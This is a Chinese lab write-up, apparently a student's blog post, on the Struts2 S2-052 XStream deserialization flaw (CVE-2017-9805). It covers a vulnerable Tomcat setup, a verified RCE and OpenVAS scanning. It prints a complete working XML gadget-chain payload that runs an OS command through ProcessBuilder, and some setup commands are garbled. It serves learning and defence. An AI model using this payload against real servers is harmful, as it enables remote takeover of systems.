struts2-052漏洞学习

struts2-052漏洞学习文档
一、了解漏洞
1.struts2是什么?
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着太大的变化,但是相对于WebWork, Struts 2的变化很小。
在这里插入图片描述
2.struts2-052是什么漏洞?
s2-052漏洞是当用户使用带有XStream组件的Struts-REST插件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,可直接在数据包中插入恶意代码。导致攻击者可以构造恶意xml payload导致RCE(远程代码执行)。
相对于之前struts2爆出来的漏洞来说,s_052漏洞危害稍微小一些,因为利用环境比较苛刻,需要使用Struts2 REST插件的XStream组件。
· 漏洞描述:Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。
· 漏洞编号:CVE-2017-9805
· 漏洞作者:lgtm.com的安全研究员
· 影响版本:Version 2.5.0 to 2.5.12 和 Version 2.3.0 to 2.3.33
· 漏洞等级:高危
二、分析漏洞原理
1.struts2-052漏洞产生的原因是什么?
这个漏洞触发点是REST插件在解析请求中的xml文件时,调用了XStreamHandler,传入的数据会被默认进行反序列化,进行反序列化操作时,未对数据内容进行有效验证,可直接在数据包中插入恶意代码,如果当传入的xml是个经过XStream序列化的恶意对象时,便造成反序列化漏洞。
其实简单来说原因有两个:一个是 Struts2 REST插件(struts2-rest-plugin-2.x.jar)本身没有对进入的数据进行安全检查,导致攻击者可以传入恶意的xml对象可以传入到XStream里。另一个是XStream在反序列化传入的xml造成的远程代码执行。
2.一个系统存在这个漏洞会导致什么后果?
当使用带有XStream处理程序的Struts REST插件来处理XML有效负载时,可能会发生远程执行代码攻击。这会使攻击者可以通过任意恶意代码来接管服务器,获取服务器的权限。比如说执行一些eyi代,把木马文件写入服务器的主目录!写入主目录,这很可怕,写入小马之后获取权限。最后导致服务器被攻击者控制,造成信息泄露等,甚至攻击者利用服务器进行其他非法操作,利用该服务器攻击等。
三、漏洞的重现和利用
NOTE:一定要在链接复制出来的虚拟机里面做实验,因为如果安装配置失败,可以直接删除 虚拟机,在新复制的虚拟机里面继续尝试。
https://www.jianshu.com/p/72c8492064c9
1.下载java并配置环境

$yum install java
$ yum install java*jdk*devel*   //使用模糊匹配,搜索然后下载指定版本的
$ //下载搜索到的最新的
$ //这样的话就不用进行环境变量配置了

2.下载tomcat并配置
Tomcat是应用(java)服务器,它只是一个servlet容器,是Apache的扩展。 Apache和Tomcat都可以做为独立的web服务器来运行,但是Apache不能解释java程序(jsp,servlet)。打个比方:Apache是一辆卡车,上面可以装一些东西如html等。但是不能装水,要装水必须要有容器(桶),Tomcat就是一个桶(装像Java这样的水),而这个桶也可以不放在卡车上。

$ sudo dnf install tomcat
$ systemctl start tomcat

然后需要在 /usr/share/tomcat/webapps目录下创建一个目录为ROOT(必须大写),然后访问127.0.0.1:8080便可以访问,但是因为里面是空的所以显示404,但是可以看到tomcat服务器信息:
在这里插入图片描述
最好是去官网下载对应的版本的tomcat的提示成功页面,网上下载后把下载的包里的webapps文件夹导入到虚拟机中的webapps目录就行。如果像我这样虽然tomcat成功配置了但是很可能导致后面openvas无法扫描到漏洞。官网下载对应版本的地址:http://tomcat.apache.org/,网站左边可以选择对应版本下载
配置文件在 /etc/tomcat/tomcat.conf
这一步执行完似乎没有什么变化。
3.下载存在漏洞的struts2框架版本
去官网(这里官网不太明白,附上链接;地址:
http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip
)下载该漏洞影响的最后一个版本的struts2框架,struts-2.5.12,然后解压后将apps目录下的struts2-rest-showcase.war和struts2-showcase.war文件放到webapps目录下(/Library/Tomcat/webapps)重启tomcat后访问:
在这里插入图片描述
在这里插入图片描述
4.生成攻击payload
在操作页面编辑后点击submit,然后使用firefox编辑重发:
将消息头中更改:
执行命令:

$ Content-Type: application/xml

更改request body为:

<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/tmp/test</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map>

Body内容中的意思是在在tmp文件夹下面生成一个test文件。
在这里插入图片描述
编辑重发后到指定目录检查:
返回值500,没有test文件写入暂时没解决
学长帮助下用物理机进行burpsuite抓包成功。
成功生成了test文件;说明远程代码执行成功。验证了可以远程执行代码(RCE)攻击。

5.使用burpsuite进行截包重发,查看结果
首先下载安装bp:

$ /r

打开:

$ /usr/bin/java -Xmx2g  -jar  burpsuite_free.jar

设置firefox代理127.0.0.1:8080
注意firefox设置代理时要把下面的localhost和127.0.01关掉。
bp监听127.0.0.0:8080,如果点不了就是端口冲突,被占用了,换端口就行
证书下载必须要在burpsuite已经启动监听时 http://burp 才能下载。
Burpsuite初步使用教程:
http://www.51testing.com/html/67/n-3724767.html

6.试分析如果公司服务器存在这种漏洞,会对公司有什么影响?
四、使用openvas对该存在漏洞的系统进行扫描
1.查看扫描结果,是否能得到对该漏洞的报告?
2.了解openvas使用的各种插件,即nvt是什么
3.对应扫描该漏洞的nvt是什么?(提示:在扫描结果中可以找到nvt的名称,以及OID编号, 在http://www.openvas.org/openvas-nvt-feed.html中可以根据OID编号查找对应nvt的文件名是 什么,然后可以在/var/lib/openvas/plugins/目录下,找到该文件)扫描原理大致是什么?(可 以看nvt的源代码)

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值